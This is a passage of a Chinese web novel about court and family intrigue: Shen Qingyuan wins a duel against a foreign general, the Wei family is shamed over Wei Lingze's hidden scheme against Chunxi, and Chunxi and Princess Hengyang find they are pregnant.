比武场上,轩辕朗拔出了昨天那把长枪,沈清渊今日没用剑,改用了玄铁长棍。 轩辕朗有些好奇:“你还会用这个?” 他听说昭陵皇室更看重文官,以为沈清渊会用剑已经很好了。 沈清渊颔首,淡淡道:“用得还行。” 话音刚落,轩辕朗手腕一翻,率先发起进攻,他选择的角度很刁钻,一枪刺来,似是挟裹着千钧之势,沈清渊迅速避开,枪头深深地插入碎石之中。 不等沈清渊反击,轩辕朗手上用力,枪头像是活过来一般左右甩动,顿时石渣四溅。 飞溅起来的石渣也都如同暗器一般,站得比较近的人皆被石渣打得痛呼起来,沈清渊衣摆上也被石渣打出几道印迹。 轩辕朗这一手惊艳了众人,即便是不懂武的女眷也能看出轩辕朗很厉害。 他虽然没了一只手,但力量很强,强到不似凡人,有些恐怖。 人群外围,不起眼的角落,卫凌泽也走出营帐来看这场比试。 见轩辕朗一出手就惊到众人,卫凌泽忍不住勾起一抹冷笑。 他输给沈清渊已经是不争的事实,但如果沈清渊输给了轩辕朗,那丢人的就不是他一个人了。 他比不上轩辕朗还能说是因为瘫痪在床三年,身体不如从前,沈清渊四肢健全,从未受过重伤,却也比不上一个残废,那也太窝囊了。 卫凌泽心里冒出很多阴暗的心思,巴不得沈清渊被轩辕朗打得跪地求饶才好。 比武场上,沈清渊并没有被众人的反应干扰,他也没有被轩辕朗这一手吓到,很快躲开轩辕朗的进攻开始反击。 轩辕朗的力量很强,他也不差,那长棍被他舞起来,顿时发出呼呼的风声,他抓住机会朝着轩辕朗就是一记劈棍,轩辕朗及时用长枪作挡,棍身和枪身相击,发出沉闷的嗡鸣,声波中蕴含的磅礴力量在空气中荡开,围在练武场周围的人忍不住又后退了些。 使臣团里的人也在看台上观战,他们原本因为轩辕朗露那一手而信心满满,这会儿看到沈清渊的反击,不由得紧张起来。 太子见他们变了脸色,幽幽开口:“比试才刚开始呢,诸位怎么不笑了,方才不是笑得挺开心的吗?” 使臣团的人听不懂也说不来昭陵话,只能等礼官翻译。 “使臣团的人问这位沈大人是文官还是武官,在昭陵的职位高吗?之前怎么从来都没有听说过他的名号?” 太子勾唇,露出意味深长的笑:“这位沈大人是文官,如今是三品的御史中丞,这次跟使臣团只是寻常的切磋,还用不着大动干戈。” 言下之意,昭陵朝堂人才济济,一个文官就能有如此能力,武将就更厉害了,使臣团的人闻言皆是面色一肃。 早些年越西和昭陵有过一战,打败之后,越西元气大伤,三年前轩辕朗横空出世,想要再度掀起战火,却被卫凌泽斩下马断了一臂,轩辕朗不仅没有因此一蹶不振,反而越发斗志昂扬,如今轩辕朗在越西军中的威信比三年前更重了。 好些人都被轩辕朗影响得跃跃欲试,昭陵的土地比越西要肥沃很多,要是能拿下一两座城池,他们的日子就能好过很多,而且还能一雪前耻。 但这次到瀚京,亲眼见识了昭陵国都的富庶,还有人丁的兴旺,使臣团的人不免有些打退堂鼓。 昭陵一个文官就能跟轩辕朗打得不分高下,那武将该有多厉害? 比武场上,轩辕朗和沈清渊的动作快到几乎看不清,比昨天跟卫凌泽的对决精彩多了,众人不敢出声打扰,全神贯注地看着,生怕错过什么。 矮坡之上,春喜也看得很认真,恒阳公主一直在她耳边小声点评着,抓着春喜的手却越来越紧。 春喜忍不住提醒:“公主,你抓疼我了。” 恒阳公主回过神来连忙松手,见春喜如此冷静,恒阳公主忍不住问:“这么淡定,你就不担心你家老沈会受伤?” 虽说比试之前已经说好了点到即止,不伤人性命,但刀枪无眼,轩辕朗下手又狠,万一被他的长枪刺到,不死也得重伤。 “担心,”春喜点头,而后又道,“但站到那上面了,就不能多想,只能全力以赴,不管最终是什么样的结果,我都会跟他一起承担。” 春喜眼神坚定,不管沈清渊是伤了还是残了,她都还是会像以前那样,不离不弃。 恒阳公主听出春喜话里的意思,忍不住感叹:“你家老沈命还挺好的,若是驸马出了什么事,本公主一定第一时间踹了他,再找个年轻貌美的。” 春喜不信,眉梢微扬:“公主这些年找到比驸马更貌美的人了吗?” “……” 还真没有。 这么多年,驸马那张脸就没被人比下去过,不然她早就换人了! 恒阳公主扼腕,这一分神,比武场边爆发出了热烈的欢呼声,她偏头去看,就见众人冲上前去把沈清渊抛了起来,萧清月则激动地大喊:“赢了赢了,沈叔叔赢了!” 赢了?怎么赢的,她都没看到啊。 恒阳公主连忙找人询问细节,无人在意的角落,卫凌泽面色灰白,肩膀一寸寸垮了下去,像是被人打断了脊梁,再也直不起腰来。 沈清渊赢了轩辕朗,而且赢得相当漂亮,这场冬猎所有的风头都是沈清渊的。 而轩辕朗虽然输了,却也输得很体面。 只有他,沦为笑柄,是个连残废都打不过的废物。 卫凌泽的脑袋被震天的欢呼声吵得有点空,一时间竟感觉自己像片落叶,在这偌大的天地之间找不到容身之地。 不知过了多久,他的目光突然有了着落点。 他看到了静静坐在女眷之中的春喜。 因为沈清渊赢了比试,周围的人都在向她道喜,春喜从容大方的回应着,不再是当初在他面前卑微乖顺,还真有了些许世家夫人的模样。 实在是……碍眼极了! 卫凌泽的眼神太过恶毒,春喜很快有所感应,她微微侧头,越过人群,毫不畏惧地迎上了卫凌泽的目光。 无声地说,侄婿,好戏才刚开场呢。 第245章 事发 沈清渊赢了轩辕朗,陛下龙颜大悦,给了沈清渊重赏,连同春喜都被陛下夸了句贤内助。 陛下不过随口一夸,皇后又顺势给了春喜不少赏赐。 这次冬猎,春喜和沈清渊成了最大赢家。 第二日一大早,众人拔营回城。 虽然冬猎只有几日,前前后后还有这么多人伺候着,一众贵人还是感觉到了疲乏,全都迫不及待地回家休息。 卫父存了满肚子的怒火和疑惑,就等着回家好好审问卫凌泽,然而到家还没来得及喝上一口热茶,前院管事便匆匆来报:“老爷,不好了,云州州府的夫人要去御前告大少爷!” 卫父眼皮一跳,不等他追问,管事又递过来一张告示:“这告示是今日一早出现的,贴得满城都是。” 卫父接过告示飞快看完,脸色青得可怕,他深吸两口气,沉声命令:“让夫人来见我。” 管事应声而去,没多久,云氏便来了书房。 来的路上云氏已经听说卫凌泽输掉比试的消息,也知道了云州发生的事,尚未进门,她便急急开口:“老爷,这件事肯定有误会,泽儿是绝不可能有私生子的!” “那你跟我解释一下这份告示是怎么回事!” 卫父怒喝一声,把那张告示扔向云氏,云氏打开看完,整个人都懵了。 这位州府夫人言之凿凿,说卫凌泽在云州置了宅子,偷养了一名绝美的外室,那外室还生了个孩子,这位夫人的独子不过是调戏了那外室几句,卫凌泽就派人打断了她儿子的腿,把她儿子害成了残废。 “老爷,我之前的确想过要给泽儿留后,但泽儿根本没有碰那些女子,不可能有私生子,而且云州那么远,咱们在那边又没什么产业,哪有什么宅子?” 云氏极力辩解,卫父冷笑一声打断她:“人家既不傻也不疯,若是没有证据,会千里迢迢跑来瀚京把事情闹这么大吗,事情都发展到这种地步了,你还想瞒我到什么时候?” “老爷,我真的没有瞒着你……” 云氏当然也知道这件事很严重,她还要辩解,卫凌泽突然开口:“娘确实没有隐瞒父亲什么,是儿子骗了父亲。” 卫凌泽这话一出,书房陷入死寂,云氏先屏退了下人才压低声音追问:“泽儿,你这话是什么意思,你骗你爹什么了?” “之前曹春喜失踪,是我安排人做的,我还在云州置了宅子,想把她圈养在那宅子里,但没想到她不仅逃跑了,还打着卫家的名义在云州闹事,反咬了我一口……” 早在卫凌泽开口的时候,卫父就意识到不妙,不等卫凌泽说完,卫父就压不住怒火,抬手狠狠扇了卫凌泽一巴掌:“逆子,我当时问你你不是斩钉截铁跟我说你没有做吗,那曹春喜之前的确是卫家的奴才,但现在她是你沾亲带故的小婶婶,你怎么有脸做出这样的事?” 卫父是真的气急了,一巴掌打得卫凌泽踉跄后退,唇角溢出血来。 云氏虽然也是又惊又怒,但还是忍不住护着卫凌泽:“老爷,你先别动手,听泽儿把话说完啊。” “他干出这种没脸没皮的事,还有什么好说的?” 卫父怒吼,眸底的怒火几乎要喷出来。 云氏张了张嘴,也不知道能说什么。 不管她如何瞧不上春喜,春喜如今都是正儿八经的沈夫人,是卫凌泽沾着亲的长辈,这事若是爆出来,整个卫家都会颜面扫地,卫凌泽更是会被人戳脊梁骨。 而且沈清渊之前是为了去接使臣团才离开瀚京的,卫凌泽在这个时候让人绑走春喜,往小了说是色迷心窍,往大了说那是不顾大局,在使臣团面前丢昭陵的脸。 但如果不澄清这件事,卫凌泽就得认下私生子这件事,还要背上还州府夫人的儿子被打断腿的罪名。 这事宣扬出去,也不能落下什么好名声。 曹春喜这一招,实在是太毒了! 云氏恨毒了春喜,但眼下她腾不出精力跟春喜算账,只能拉着卫凌泽说:“泽儿,你既然已经知道是曹春喜害你的,可有应对之策?” 卫凌泽垂眸道:“这位州府独子是云州一霸,没少做强抢民女、逼良为娼的恶事,我已让人搜罗了证据,就算认下这件事,陛下应该也不会过分降罪于我。” 两害相权取其轻。 卫凌泽早就想好了,若是他派去的杀手没能拦住这对母子,那他就只能认下春喜扣在他头上的罪名。 等风头过去,他有的是机会杀了曹春喜这个贱人。 云氏想不出更好的解决办法,刚想附和,便听到卫父说:“你要认下这件事,就要承认自己养了外室还有了私生子,萧家不会容忍你做这样的事,若是他们以此为由,要让你与禾儿和离,你当如何?” 云氏心头一紧,她最近虽然觉得萧清禾越来越离经叛道,不是她期望中的好儿媳,但眼下卫凌泽输了比试,又闹出这样的丑闻,若是和离,绝对不可能找到比萧清禾更好的姑娘。 卫凌泽握紧拳头,一字一句道:“我跟禾儿不会和离。” 云氏连忙点头:“对,不和离,我可以陪泽儿去萧家认错,还可以给禾儿很多很多的补偿,禾儿不会这么狠心的。” 卫父想到萧清禾在围场时的反应,并不像云氏和卫凌泽这样乐观,但不管怎么样,为了能保住两家的姻亲关系,总归是要试一试的。 三人一起商量了一番,第二日一大早,便坐马车去往萧家,然而到了离萧家还有一条街的时候,马车就被堵住了,眼看人群一直拥堵着不散,三人只能带着赔礼,下车走路。 好不容易越过重重的人,来到萧家门口,一声撕心裂肺的哭喊便刺入三人耳中。 “我可怜的儿,他断了一条腿成了废人以后可怎么活啊,他还没有娶妻生子呢,你们萧家必须得对他负责才行!” 人群中央,州府夫人穆氏带着一群人,抬着系了红绸的聘礼,敲锣打鼓的要为自己废了腿的儿子求娶萧家二小姐。 这么多人围在这里都是为了看热闹的。 卫家三人一出现,立刻成了众人关注的焦点。 啧啧啧,卫家教不好儿子,欺瞒了萧家,辜负了萧家大小姐不说,竟然还要萧二小姐帮姐夫收拾烂摊子,摊上这样的亲家真是造孽啊。 卫父:“……” 这个逆子! 第246章 萧二小姐寻短见了 州府夫人一看到卫家人,立刻情绪激动地扑了上来,她身后的仆从也都蜂拥而上。 人家的独子瘸了一条腿,眼下毕竟是卫家理亏,众目睽睽之下,卫家不能再落下把柄,卫父吩咐众人不能还手,待萧家派人把他们救进府时,三人已是形容狼狈,毫无贵气可言。 前厅里,萧父萧母肃着脸坐着,看到卫父和云氏亲自登门,两人的脸色也没有任何好转。 一脚踏进厅里,卫凌泽直接跪下:“女婿知错,求岳父岳母恕罪!” 卫凌泽说完,卫父立刻拿了一根鞭子给萧父:“亲家,是我卫家教导无方,让禾儿受委屈了,今日亲家就算把这个逆子打死,我也绝无二话。” 萧父没接鞭子,阴阳怪气地开口:“亲家为了儿子的幸福,什么事都做得出来,我怎么敢当着亲家的面打你儿子呢,亲家真是折煞我了。” 卫父做一家之主这么多年,没被人这么当面下过面子,他的老脸一僵,云氏连忙上前揽责:“亲家息怒,都怪我糊涂,是我太溺爱泽儿了,才会导致事情变成这样,老爷他什么都不知道,一切都是我自作主张,亲家有什么不满就冲我来吧。” 萧夫人对云氏给萧清禾下药之事痛恨至极,见云氏站出来,立刻怒道:“亲家母疼爱自己的儿子可以,为什么要糟践禾儿,你们卫家都已经后继有人了,却还要下药逼着禾儿跟你儿子同房,这是把禾儿当成什么了?” 卫父还不知道云氏下药的事,闻言讶异地看向云氏,云氏脸上火辣辣的,她强撑着说:“卫家没打算认那孩子,禾儿生下的孩子才是正经嫡出……” “没打算认?”萧夫人冷笑着打断云氏,“卫家要是真的不想认那孩子,为什么要让别的女人把他生下来,还送到云州偷偷养起来,我看你们是想防着禾儿和萧家,等那孩子养大成人了,再接回来逼着禾儿认下吧。” 这样的后宅阴私几乎每个世家大族都会有,萧夫人的猜测也不无道理,云氏第一次尝到有口难言的滋味儿。 要是卫凌泽真的有私生子就好了,她也不会这么急着让禾儿生下孩子,更不会做出下药这种事。 云氏感觉嘴里发苦,不等她解释,卫父已抄起鞭子狠狠抽在卫凌泽身上。 他就说之前在围场禾儿为什么态度那样冷淡,原来是这母子俩干出了下药这种事。 手段如此下作,这让萧家如何能忍? 卫父气急,用了全力,没打几下,卫凌泽后背就渗出了血。 云氏看得心疼,却不敢阻拦,只能软着声向萧父和萧夫人认错,希望两人能松口原谅卫凌泽,前厅正热闹着,这时墨韵突然哭天喊地地跑进来:“老爷,夫人,不好了,二小姐想不开要寻短见!” 卫父的手抖了一下,云氏也跟着眼皮狂跳。 萧夫人脸色一变,顾不上再掰扯什么,火急火燎地去看萧清月,下人也跟着着急,整个萧家好像一下子就乱了套。 萧父没跟着萧夫人一起去,却也不想看卫父在这儿装模作样地教训儿子,冷冷道:“卫家已经害了禾儿,现在还连累到月儿了,卫家若还顾念两家多年的交情,不如先把自己惹出来的祸事处理好再说。” 这祸事是卫凌泽惹下的,却闹得萧家家宅不宁,卫父和云氏准备了一箩筐劝和的话都没法张口,只觉得老脸臊得慌。 但看着卫凌泽背上都是血,云氏还是硬着头皮开口:“亲家,你能不能让泽儿见禾儿一面,两个孩子毕竟还是夫妻,有些话总是要当面说清楚才好。” 云氏这话像是点了炮仗,原本还保持着礼教的萧父瞬间炸了:“你们自己的屁股都没擦干净就要见禾儿,见了面能说什么,叫她大度一点儿装作什么都没有发生过吗?我的月儿都被逼得寻死了,你们还想逼禾儿也去死是不是?” 萧父的声音一句比一句高,云氏心虚不已,还想说些什么,下人又跑来禀报:“老爷,不好了,老夫人听说二小姐要寻死气得头痛症犯了!” “什么?” 萧父一惊,连忙下了逐客令,匆匆忙忙跑去看萧老夫人。 萧家乱作一团,卫父和云氏没脸再待下去,只能离开,等三人走出萧家大门,管事才带着下人把他们今天带来的礼物一并送出来:“老爷和夫人都还在气头上,这些礼物小人不敢收,还请亲家老爷拿回去吧。” 管事的语气算得上恭敬,但外面看热闹的百姓还没有散,管事这个时候把东西送出来,完全是在打卫家的脸。 卫父和云氏虽然亲自陪着卫凌泽来请罪了,但人家萧家根本不领情,连赔罪礼都不肯收。 卫父沉了脸,刚想态度强硬地让管事把东西收下,还没开口,墨韵便带着两个婆子哭着跑出来。 管事当即大声呵斥:“慌慌张张地做什么,没看到有客人在吗,万一冲撞了客人你担得起责吗?” 管事的语气严厉,墨韵顿时哭得更凶了:“请高管事恕罪,但二小姐寻了短见,老夫人也气晕了过去,奴婢得赶紧去回春堂请大夫,还求管事晚些再罚奴婢。” “是啊,现在府里乱成一团,求管事大人有大量,先饶了墨韵姑娘吧,万一主子们有什么好歹,我们也活不下去了啊。” 两个婆子跟着劝说,几人的声音都很大,足够周围看热闹的人听得清清楚楚。 众人顿时唏嘘。 卫家瞒着萧家养外室子不说,还惹出麻烦连累人家萧二小姐,害老夫人都气晕过去,如此坑人,怎么还好意思登门啊。 众人对着三人指指点点,卫父的脸彻底黑了,云氏则拧紧了手中的绢帕。 萧家这是摆明了不想让卫家好过,所以派管事和丫鬟婆子出来故意演戏给别人看呢。 偏偏他们现在有苦说不出,只能硬生生吃下这个哑巴亏。 云氏正咬着牙,余光就瞥见春喜在沈清渊的保护下穿过人群走来。 两人春风得意,眉眼传情,和卫凌泽形成鲜明的对比。 云氏正恨恨地瞪着春喜,春喜忽地看过来,大声惊呼:“侄婿,你怎么变成这样了,谁打你了?” 卫凌泽:“……” 曹春喜,你不说话没人把你当哑巴! 第247章 曹春喜有什么值得你放不下的? 卫凌泽一点儿也不想理会春喜,但春喜完全看不到他的脸色,非要凑上来嘘寒问暖。 卫父和云氏的脸色越发难看。 云氏知道是春喜故意在云州闹事坑害的自己儿子,忍不住瞪着春喜低声说:“得饶人处且饶人,当初卫家并没有亏待你,你这样忘恩负义,就不怕以后遭报应吗?” 春喜的确照顾了卫凌泽三年,但她本就是卖身到卫家的奴才,伺候主子是她分内的事,后来她要离开卫家,云氏给了她一千两和一马车的好东西,虽然这些钱和东西对卫家来说不算什么,但对春喜来说已经是很大一笔钱了。 在云氏看来,卫家并不欠春喜什么,甚至对春喜还是有恩的。 就算卫凌泽一时钻牛角尖,让人绑了春喜要把她圈养在云州,春喜也不该如此狠心报复。 云氏本以为这番话能让春喜有所收敛,春喜却眨眨眼,夸张地大声喊冤:“夫人这话是什么意思?我和夫君才刚走到这儿,根本不知道发生了什么,正在好心关心你们,我怎么就忘恩负义要遭报应了?” 周围看热闹的人还没散,听到这话全都竖起耳朵等着探听八卦,云氏的脸一僵,气不打一处来。 她怎么忘了这个曹春喜就是个没皮没脸的市井泼妇? 云氏今日已经很丢脸了,她不想继续跟春喜在这儿掰扯,刚想离开,春喜已自顾自地接起话来:“夫人是因为我在皇后娘娘面前揭穿侄婿在云州养外室和孩子的事生气么?” 你还有脸说? 云氏步子一顿,若不是碍于体面,真恨不得上手给春喜两巴掌。 春喜无视云氏要吃人的目光,继续道:“这件事确实是我说出去的,但为了不让夫人误会萧家,我必须澄清一下,本来萧家念着两家情分是不让我宣扬此事的,可架不住太傅府五夫人,也就是侄婿的亲小姨非要当着皇后娘娘的面,说我是毁人姻缘的搅家精,我为了证明清白才把这件事说出来的,夫人要怪也该怪自己的好妹妹。” 云氏没有去参加冬猎,还不知道云晚棠做的事,听到这话立刻大声怒道:“曹春喜,你别太过分了,你现在已经害得泽儿跟禾儿感情不和了,竟然还敢挑拨我和我妹妹的感情,你真当自己做了沈夫人就可以为所欲为了吗?” 云氏声音尖锐,胸口不断起伏,实在是恨毒了春喜,要是早知道春喜会干出这样的事,那个时候她就不该那么轻易归还身契! 若是身契还在手,春喜还是卫家的奴婢,泽儿若是喜欢,收到房里做个通房丫鬟便是,怎会犯下如此大错? 云氏吼完春喜,又看向沈清渊:“沈大人,你好歹是饱读诗书的状元郎,你就这么放任她不管吗?” 云氏盼着沈清渊能制止春喜,下一刻却听到沈清渊说:“内子是好心提醒,夫人与其在这儿生气,不如好好找人查证一番,看看谁才是看热闹不嫌事大的搅屎棍。” 云氏:“……” 云氏被那句搅屎棍骂沉默了。 沈清渊也没做纠缠,带着春喜朝管事走去。 在听到管事说萧清月寻死后,春喜又大声叫嚷起来:“好端端的月儿怎么会寻死,发生什么事了?” 管事的连忙把穆氏要为儿子求娶萧清月的事说出来,春喜立刻打抱不平:“穆家怎么能这样,禾儿和萧家也是被蒙骗的,月儿更是无辜,冤有头债有主,他们怎么不直接去找罪魁祸首闹事?” 春喜也不急着进府,就站在萧家大门口跟管事一唱一和地演戏,气得卫父和云氏一口老血哽在喉咙。 马车驶离后,卫父忍不住问卫凌泽:“这种毫无仪态可言的泼妇到底有哪点儿比得上禾儿?” “……我没有觉得她能跟禾儿相比。” “那你为什么就是放不下她?” 卫父拔高声音,只觉得这件事让他颜面尽失又匪夷所思极了。 这曹春喜相貌平平、又没什么内涵,不过是个再普通不过的妇人,卫凌泽放着好端端的日子不过,为了这么个女人让自己和卫家陷入如此境地跟疯了有什么两样? “……” 卫凌泽答不上来了。 他其实一直都不觉得春喜配得上他,哪怕是被春喜悉心照顾那三年,他都没想过要碰春喜。 但他喜欢春喜身上那股子好像永远都不会被剿灭的蓬勃生机,也下意识地觉得春喜应该因为他这点儿喜欢欣喜若狂、感激涕零。 可春喜没有,反而毫不犹豫地拿钱离开了卫家,还扭头嫁了人。 他莫名觉得被伤到自尊,无法控制地升起了愤怒和不甘来。 一个出身卑微的小丫鬟凭什么能如此果断地离开他? 一开始他只是想让春喜吃些苦头,然后乖乖回到他身边,可春喜没有他想象中那样好拿捏,甚至还攀上沈清渊,变成了他的长辈,事情因此渐渐失控。 他不喜欢这种失控的感觉,而且自负地认为他比春喜聪明有权势,他能赢过春喜,并且把春喜踩在脚下,就像碾压一只蝼蚁一般。 就像在这次冬猎之前,他自负地认为自己比没了一只手的轩辕朗强,他不会输。 可事实证明是他太刚愎自用、自傲自大了。 他没有那么聪明,也没有那么强大,这世上有很多人很多事都不在他的掌控之中。 卫凌泽沉着脸没了声音,卫父还要发怒,云氏连忙打岔:“好了,老爷,现在追究这些已经没用了,我们还是先去把穆家安抚住吧,穆氏再这样继续闹下去,泽儿和禾儿根本没有和好的机会啊。” 眼下最重要的,是保住和萧家的姻亲关系。 卫父冷哼一声,很不想为卫凌泽擦屁股,但最终还是吩咐车夫掉头去往穆家。 春喜在门口跟管事演了会儿戏,就和沈清渊一起去了萧老夫人的松鹤院。 屋里,萧清月正站在萧老夫人身旁,殷勤地帮萧老夫人捏肩。 她面色红润,气色极好,没有半点儿要寻死的样子。 “祖母真是太英明了,有了今日这出戏,阿姐是不是就能和离成功了?” 自从知道是自己阻止了春喜说出真相,萧清月就愧疚得不行,日日盼着自家阿姐能够顺利和离,脱离苦海。 萧老夫人喝了口茶,给她泼冷水:“两家联姻是大事,哪能说离就离,等着吧,且还有得折腾呢。” 第248章 恭喜夫人有喜了 萧老夫人已经知道沈清渊在冬猎时大出风头,但亲眼看到沈清渊,还是忍不住关心他有没有受伤。 沈清渊虽然有问必答,但说话时的语气还是很疏离,好在有春喜在,气氛不至于冷掉。 两人留下来吃了晚饭,萧老夫人特意吩咐厨房备了好酒好菜,到了饭点儿,除了萧夫人和萧清禾、萧清月,萧父也带着两个儿子一起来松鹤院用饭。 饭间萧父对沈清渊赞不绝口,萧清云和萧清阳也都对沈清渊非常敬佩,觉得他心性坚韧,受得住寂寞,不会被外界的声音干扰。 一顿饭吃得很尽兴,沈清渊被劝着多喝了两杯,到后面整个人明显放开了些,不像一开始那样寡淡。 萧清阳亲自把他们送出府,上了马车,沈清渊就抱住春喜,埋首在她颈间。 灼热的呼吸喷在颈侧很痒,春喜忍不住问:“夫君这是又喝醉了吗?” “没有,”沈清渊摇头,过了一会儿又是,“就是觉得能娶到夫人,真是我这辈子做的最对的一件事。” 他从很早就知道自己不是清远侯和莫氏亲生,所以在侯府这些年,总觉得自己是个外人。 每次来萧家,萧老夫人对他虽然会有诸多关心,但也不过是几句话,轻飘飘的,落不到实处,他始终明白,他姓沈,萧家再好他也是要回到侯府去的。 这是他一出生,萧老夫人就为他选好的路。 他没有资格拒绝。 所以他跟萧家人也亲近不起来,甚至对萧老夫人有着隐隐的怨怼,但自从和春喜成婚之后,他渐渐和那些过往和解了。 今晚在萧家用饭,他甚至感受到了一种长久以来一直渴望却无法得到的幸福感。 春喜大概能明白沈清渊为什么有这样的感叹,她环住他的腰,正想说点什么,马车帘子突然被掀开,恒阳公主急切的声音传入耳中:“沈清渊,我有急事找阿喜,你把她借我一会儿。” 春喜尚未反应过来,手腕就是一紧,整个人都被恒阳公主拽着往外拖。 沈清渊环住春喜的腰,没让她被拽下车去。 感受到阻力,恒阳公主放软语气:“我真的有急事,今天算我对不起你,行吗?” 要不是真的有急事,堂堂公主也不能大晚上跑人家夫妻俩的马车上来。 春喜给沈清渊递了个眼神,半晌,沈清渊才开口:“只此一次,下不为例。” “行行行,本公主保证就这一次。” 恒阳公主飞快应声,拉着春喜上了自己的马车。 她没带丫鬟随行,马车里只有她和春喜两个人,上了马车,恒阳公主反而不急着说什么事了。 春喜等了半晌,见她还是不吭声,忍不住问:“公主到底遇到什么难事了,你不说出来,我也没办法帮你呀。” 恒阳公主抿唇,又过了好一会儿才道:“我这个月没来月事。” “啊?这个还好吧,我上个月在外面风餐露宿,月事也一直推迟没来。” “我今早起来吐了,什么都吃不下。” “会不会是冬猎的时候染了风寒或者吃坏了肚子?” 说着话,春喜已经在脑海里回忆起自己处理那两只野兔的过程了。 冬猎随行的都是御厨,做的吃食也是由禁卫军严格检查过的,不可能有什么问题,要是她这兔子没烤好,给公主吃坏了肚子就遭了。 春喜正想着,恒阳公主突然撩开袖子,把手伸到她面前:“阿喜,你知道怎么诊脉吗?” “……”??? “公主,我在卫家的时候的确跟御医了解了点儿药理和按摩之术,但你这也太看得起我了,而且公主身子不适应该尽快找御医诊治才是,怎么能让我……” 春喜话没说完,就被恒阳公主打断:“我怀疑我有孕了。” 啊? 春喜的脑子空白了一瞬,见恒阳公主语气严肃,脸上也毫无惊喜,脱口而出:“难道不是驸马的?” 恒阳公主给了春喜一记大大的白眼:“本公主虽然喜欢找乐子,但也是有底线的。” 春喜不解:“那公主有孕是好事呀,为什么要偷偷摸摸,难道是驸马使了什么手段骗了公主的身?” 骗倒是没有骗,而且这孩子还是她自己说要的。 但她没想到这么快就真的要上了啊,就只有那么几次! 她都还没有完全体会到个中滋味呢。 恒阳公主有些不自然道:“我听说生孩子可疼了,我还没有做好准备,但是母后和皇嫂一直催我生,让她们知道肯定是要让我留下这个孩子的。” “……” 所以公主你找我是什么意思?我连医理都不懂,难道敢帮你堕孩子? 这可也是皇室血脉,我是活腻了吗? 春喜感觉自己头顶悬了把明晃晃的大刀,让她浑身的汗毛都倒竖起来。 她不敢直接劝恒阳公主生孩子,只能拐着弯儿地说:“这生孩子确实很疼,但要堕掉孩子也是很疼的,而且极为伤身,稍有不慎,还可能有生命危险呢。” 恒阳公主皱紧眉头,她翻了医书,自然知道春喜不是在吓唬她。 她皱紧眉头,小声说:“我也不是一定要堕了这个孩子,只是想先确认一下是不是怀了,然后再做下一步的打算。” 春喜当即道:“这样吧,我现在陪公主去医馆,若是真的诊出喜脉,就说是我怀了,暂时不让别人知道,行吗?” “行!” 到了医馆,恒阳公主还是害怕,春喜只能先装模作样地让大夫诊脉。 为了不惹人注意,她们没去回春堂,就近找了个小医馆。 看诊的大夫须发皆白,瞧着倒是十分可靠。 春喜没当回事,好奇地问:“大夫,就是月事推迟没来,还有点恶心想吐,除了有喜了还有别的可能吗?” 大夫捋捋胡须,悠悠道:“世上病症相似的很多,仅凭夫人方才说这两点的确不能判定为喜脉,但从夫人的脉象来看,夫人确是有喜了。” “我就说吧,不一定是有喜了,”春喜正偏头安慰着恒阳公主,听完大夫的话猛然回头,“大夫您刚刚说什么?” 大夫收回手,笑道:“恭喜夫人,你有喜了,夫人的身体很好,怀孕虽然尚早,但脉象有力,此胎定能平稳生下。” “……”??? 她不是假装陪公主来诊脉的吗? 第249章 我就愿意娶萧大小姐为妻 春喜被突然诊出来的喜脉打了个措手不及,恒阳公主反倒因为有人作伴镇定下来。 经过大夫诊断,恒阳公主也有了身孕,而且两人的月份竟然差不多大。 恒阳公主给了三倍诊金让大夫保密,等回到马车上立刻问春喜:“这孩子,你要吗?” 春喜还没有从自己再过不久就要给人当娘的震惊中回过神来,听到这话毫不犹豫道:“当然要啊。” 虽然这事来得很突然,但她和大人都是想要孩子的,如今孩子有了,自然是要好好生下来的。 深吸两口气稳了稳神,春喜反问:“公主不打算要吗?” 恒阳公主抿唇。 她还是有些拿不定主意。 只有她怀孕的时候,她是很慌乱很恐惧的,可是现在知道春喜也怀孕了,感觉有人作伴,她就没那么害怕了。 只是她对温砚书的感情没有春喜对沈清渊这么好,想到要为这个男人生儿育女,她莫名有些不甘心。 良久,恒阳公主才道:“我再想想吧。” 恒阳公主把春喜送到家才离开。 主院里,沈清渊已经洗了澡,正看着书,见春喜回来,他立刻放下书走过来:“公主的事都解决好了吗,方便告诉我是什么事吗?” 之前突然被打断情绪,沈清渊是有些不高兴的,但冷静下来后又觉得很蹊跷,恒阳公主身份尊贵,在昭陵境内完全可以横着走,有什么事能棘手到她解决不了,非要大晚上来萧家找春喜? 沈清渊正担忧着,突然听到春喜说:“夫君,我怀孕了。” 沈清渊浑身一震,整个人愣在那里,过了好一会儿才问:“你刚刚说什么?” 沈清渊极力保持镇定,但声音明显有些发颤,可见因为这个消息遭到了极大的冲击。 春喜抬起头,笑盈盈地看着他:“我说我怀孕了,再过几个月夫君就要当爹了。” 春喜说完这句话,沈清渊又没了声音,他把春喜上上下下打量了好几遍,像是不认识她这个人了一样。 春喜忍不住逗他:“夫君怎么不说话,可是不喜欢这个孩子,那我……唔!” 话没说完,沈清渊就伸手捂了她的嘴:“我喜欢,接下来几个月,要辛苦夫人了,夫人放心,到时我会请最好的大夫和稳婆,若是有什么情况,我一定让他们保大,明日我就告假陪夫人去买两个称心的丫鬟回来伺候,然后再让人挑选合适的乳娘帮忙照顾孩子,等孩子大一些,我亲自教他启蒙……” 这才刚知道怀孕的消息,沈清渊就把以后的事都想好了,春喜拉下他的手,忍不住笑:“是男是女都不知道呢,夫君是这些是不是太早了?” “不早,”沈清渊一脸认真,“不论男女,我都会教他们启蒙,不仅要读书识字,还要练武,就像当初岳父教导夫人那样。” 沈清渊这句岳父叫得相当自然,春喜原本还有些恍惚迷茫的心,突然就落了地。 她想,她和大人会是很好的父母,她的孩子活得快乐自在,也会比她更幸福。 虽然春喜没有什么怀孕的反应,沈清渊还是小心了很多,连她沐浴都要在屏风后面守着。 洗完澡,沈清渊亲自帮春喜绞发,叮嘱她最近不要吃寒凉的食物,也不要爬上爬下,像之前那样跟人打架斗殴、骑马射箭就更不行了。 春喜一一应下,被沈清渊念得有点困,迷迷糊糊间,突然听到沈清渊问:“对了,你突然跟公主一起去医馆做什么?” 他这个做夫君的都不知道她怀孕了,恒阳公主怎可能未卜先知? 春喜猛然睁开眼睛,就见沈清渊正若有所思地盯着自己。 春喜:“……” 公主,这可不是我故意告密,你也知道我家夫君有十来年的办案经验,实在是瞒不过他啊。 春喜和沈清渊在怀孕的喜悦中入睡,卫家此刻却是乌云密布。 卫父和云氏带着卫凌泽去到穆家想要求得穆氏的原谅,穆氏却跟疯了一样油盐不进。 她唯一的儿子成了残废,一辈子都毁了,回来的路上还差点被灭口,她就是豁出这条命也要毁了卫凌泽才肯罢休。 